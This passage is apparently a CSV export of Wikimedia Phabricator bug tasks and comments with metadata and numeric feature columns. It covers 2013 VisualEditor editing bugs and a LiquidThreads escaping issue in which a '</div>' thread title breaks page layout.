+219110,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,*** Bug 50242 has been marked as a duplicate of this bug. ***,,,1372271165,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ht3d5xeklsjuq5qulguj,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+219103,VisualEditor: JS exception is thrown when trying to use list (ordered or bullet) tool in block slug,Make it work is better. :-),,,1367545095,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ht3d5xeklsjuq5qulguj,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+49943,VisualEditor: heading removal adds ♙,"The user was trying to edit http://de.wikipedia.org/w/index.php?title=Reiniger,_Gebbert_%26_Schall&direction=prev&oldid=117917379 to remove the first heading but keep the image. The result was http://de.wikipedia.org/w/index.php?title=Reiniger,_Gebbert_%26_Schall&direction=next&oldid=103767568 and the didn't manage to do it without adding the ♙.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1367427120,1368548559.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,,False,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_description,resolved,True,c1,1,True,False,True,-9,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+218780,VisualEditor: heading removal adds ♙,I think our changes related to pawns also has fixed this bug; marking as closed.,,,1368548559,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+218774,VisualEditor: heading removal adds ♙,"Sorry, yes. It's Firefox (20.0.1, Windows 7).
+
+Steps to reproduce according to user:
+* open http://de.wikipedia.org/w/index.php?title=Reiniger,_Gebbert_%26_Schall&oldid=103767568
+* edit with VisualEditor
+* select first heading ""Aufbau und Expansion des Unternehmens""
+* remove using del-key
+* ♙ appears",,,1368536309,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+218768,VisualEditor: heading removal adds ♙,Lydia: Any response on that?,,,1368216819,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_subcomment,,True,c1,1,False,,,-8,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+218762,VisualEditor: heading removal adds ♙,I asked at http://de.wikipedia.org/wiki/Wikipedia:Technik/Text/Edit/VisualEditor/Alpha2013-04#Absatzmarker_.28.E2.99.99.29,,,1367511693,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+218757,VisualEditor: heading removal adds ♙,I think it might be the FF specific bug for which we already have fix (but it is not released yet).,,,1367434380,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+218754,VisualEditor: heading removal adds ♙,Could you provide steps to reproduce (I tried and I can't) and information about browser/OS?,,,1367430685,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-rf6xvihdg3l2eowhdgrm,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+49907,VisualEditor: Support <div> blocks,"This just means supporting their use, not being able to set their parameters, but will de-alienate a large amount of content for trivial work at our end. The parameter setting/editing will need to come later.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1367371680,1367372802.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-erliezrdqnohfykefn5r,task_description,resolved,True,c1,1,True,False,True,-9,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+216564,VisualEditor: Support <div> blocks,Merged; will go out with wmf4.,,,1367372802,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-erliezrdqnohfykefn5r,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+216559,VisualEditor: Support <div> blocks,"(In reply to comment #1)
+> Feel free to assign it to me.
+
+Too late, already written the code. :-)",,,1367372023,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-erliezrdqnohfykefn5r,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1
+216553,VisualEditor: Support <div> blocks,Related URL: https://gerrit.wikimedia.org/r/61737 (Gerrit Change I794927a881082e0113c0ce8ee8f1d908b0960899),,,1367371959,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-erliezrdqnohfykefn5r,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+216548,VisualEditor: Support <div> blocks,Feel free to assign it to me.,,,1367371782,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-erliezrdqnohfykefn5r,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+49885,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","Screenshot of LQT thread with </div> in title
+
+Should be treated the same as regular page titles: Escape everything.
+
+
+Or, if we want to keep wikitext parsing (e.g. for wikilinks, sometimes done in section headings), then parse as inline block (not allowing any block level elements like <div> or <table>) and make sure open/close tags match (run Tidy).
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: https://www.mediawiki.org/wiki/Thread:Project:Support_desk/visible_html_on_pages%3A
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=31244
+https://bugzilla.wikimedia.org/show_bug.cgi?id=29564
+
+**Attached**: {F10533}",High,80.0,1367340180,1644958499.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_description,invalid,True,c1,1,True,False,False,-9,,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+1865095,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true",[We don't use Tidy anymore](https://www.mediawiki.org/wiki/Parsing/Replacing_Tidy) since 2016,,,1644958499,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,3,True,,,450,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1
+1248457,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","Suggest decline this task, such problem are mostly from PHP which is a bit more #upstream ed",,,1553220752,,PHID-USER-chrmcih5qjpx5buo7vx6,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,3,False,,,298,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0
+1248456,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","Suggest decline this task, such problem are mostly from PHP which is a bit more #upstream-ed",,,1553220744,,PHID-USER-chrmcih5qjpx5buo7vx6,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,3,False,,,298,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0
+706290,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","LiquidThreads has been replaced by #Flow on all Wikimedia production wikis (except one, which will be done soon). It is no longer under active development or maintenance, so I'm re-classifying all open LQT tasks as ""Lowest"" priority.",,,1470353645,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,3,True,,,161,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,0
+215432,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","A similar problem in a topic named ""Handling <pre><ref></pre> with trailing slash does not work correctly"":
+https://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Handling_ref_with_trailing_slash_does_not_work_correctly",,,1413467796,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,3,False,,,67,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+215426,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true",This is one of the many places with poor or inconsistent escaping in LQT.,,,1377841711,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,3,True,,,8,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+215420,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","(In reply to comment #1)
+> @Krenair: You change the summary to include ""with wgUseTidy = true;"" Are you
+> saying that when Tidy is disabled this bug does not happen?
+
+
+Yes. I have to add that to my configuration to replicate this bug.",,,1367358730,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1
+215414,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","@Krenair: You change the summary to include ""with wgUseTidy = true;"" Are you saying that when Tidy is disabled this bug does not happen?
+
+Seems more like the opposite?",,,1367355713,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,1,0,0
+49834,VisualEditor: Blanked page content in edit mode using Firefox,"VisualEditor (50e8693)
+Parsoid (ba0b080)
+MW: 1.22/wmf2 (814f75e)
+
+While editing a page in Firefox 20.0, the existing page content is blank in the editor.
+
+The issues seems to be an issue with Firefox only, as Chrome and Safari work as expected.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+**OS**: Mac OS X 10.7
+**Platform**: Macintosh",High,80.0,1367254380,1367288171.0,PHID-USER-evwol34rsld7viokxokd,False,,False,PHID-TASK-njwlhw4yezfqfiviad2b,task_description,resolved,True,c1,1,False,False,True,-9,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+212421,VisualEditor: Blanked page content in edit mode using Firefox,We have identified this bug and fixed it in live (for mediawiki.org - other wikis will be going out in the next few days); sorry for the difficulty.,,,1367288171,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-njwlhw4yezfqfiviad2b,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1
+212417,VisualEditor: Blanked page content in edit mode using Firefox,"Is this on the Wikimedia cluster or locally? If on the cluster, is it on all pages or just one or two?",,,1367275473,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-njwlhw4yezfqfiviad2b,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+49813,VisualEditor: Clicking away before VE loads completely throws JS error,"VE error when not completely loaded
+
+on any page editable by VE:
+
+invoke VE
+immediately click Preferences or other live link
+
+an alert appears saying ""Error loading data from server: error. Would you like to retry?""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10400}",High,80.0,1367196780,1368885099.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-s7xxo6pqgoai7qxiqran,task_description,resolved,True,c1,1,False,False,True,-9,,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+211076,VisualEditor: Clicking away before VE loads completely throws JS error,Merged; will go out with wmf5.,,,1368885099,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s7xxo6pqgoai7qxiqran,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+211073,VisualEditor: Clicking away before VE loads completely throws JS error,Related URL: https://gerrit.wikimedia.org/r/64333 (Gerrit Change Ide5def0e983bab49108b40008fc170957c7fc2a2),,,1368809323,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s7xxo6pqgoai7qxiqran,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+211070,VisualEditor: Clicking away before VE loads completely throws JS error,"Actually, this looks like a different bug (but in the same loop).",,,1368655903,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s7xxo6pqgoai7qxiqran,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+211069,VisualEditor: Clicking away before VE loads completely throws JS error,"From Ed's comment:
+
+In ve.init.mw.ViewPageTarget.prototype.tearDownToolbar, this.toolbar is
+undefined if the editor hasn't finished loading.",,,1368654683,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s7xxo6pqgoai7qxiqran,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+211065,VisualEditor: Clicking away before VE loads completely throws JS error,*** Bug 48520 has been marked as a duplicate of this bug. ***,,,1368654670,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s7xxo6pqgoai7qxiqran,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+49795,VisualEditor: Backspace over lists doesn't delete the LIs,"Hi,
+
+The problem is that when I have created a bullet list in Visual Editor and try to erase back the text using Backspaces, the numbers or bullet points don't delete even if I have deleted the whole text. Here is a trivial demonstration :
+
+1. Hello1
+2. Hello2
+3. Hello3
+
+Now when I try to delete it from the Hello3 using backspaces, all the text upto first bullet is deleted, but those bullet points are left as it is. 
+
+1.
+
+2.
+
+3.
+
+
+Images:
+
+https://docs.google.com/file/d/0B3eGCB261PalaDhqa1ZhcmFPUk0/edit?usp=sharing
+https://docs.google.com/file/d/0B3eGCB261PalbndsZEFSdXpEZGM/edit?usp=sharing
+
+Tested on Firefox 20.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1367169780,1368565464.0,PHID-USER-d3oiyxwdmebcjszfff7w,False,,False,PHID-TASK-4rlrewbrchltpzty4e37,task_description,resolved,True,c1,1,False,False,True,-10,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+209954,VisualEditor: Backspace over lists doesn't delete the LIs,And now fixed in wmf4.,,,1368565464,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rlrewbrchltpzty4e37,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+209948,VisualEditor: Backspace over lists doesn't delete the LIs,This is now broken again in master. :-(,,,1368211380,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rlrewbrchltpzty4e37,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+209942,VisualEditor: Backspace over lists doesn't delete the LIs,*** Bug 48293 has been marked as a duplicate of this bug. ***,,,1368129697,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rlrewbrchltpzty4e37,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+209937,VisualEditor: Backspace over lists doesn't delete the LIs,Wmf4 which will begin deployment on 13 May. :-),,,1367373980,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rlrewbrchltpzty4e37,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+209929,VisualEditor: Backspace over lists doesn't delete the LIs,"Fixed here: https://gerrit.wikimedia.org/r/61520
+It is not released yet, James, can you put appropriate milestone tag?",,,1367359540,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-4rlrewbrchltpzty4e37,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0
+209923,VisualEditor: Backspace over lists doesn't delete the LIs,Thanks for the bug report; I can confirm in Chrome and Safari as well.,,,1367170322,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rlrewbrchltpzty4e37,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+49779,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Add button to WikiEditor and VisualEditor for switching back and forth.
+
+* Only shown if in WE you have VE enabled (otherwise don't show)
+* If no changes, switch immediately
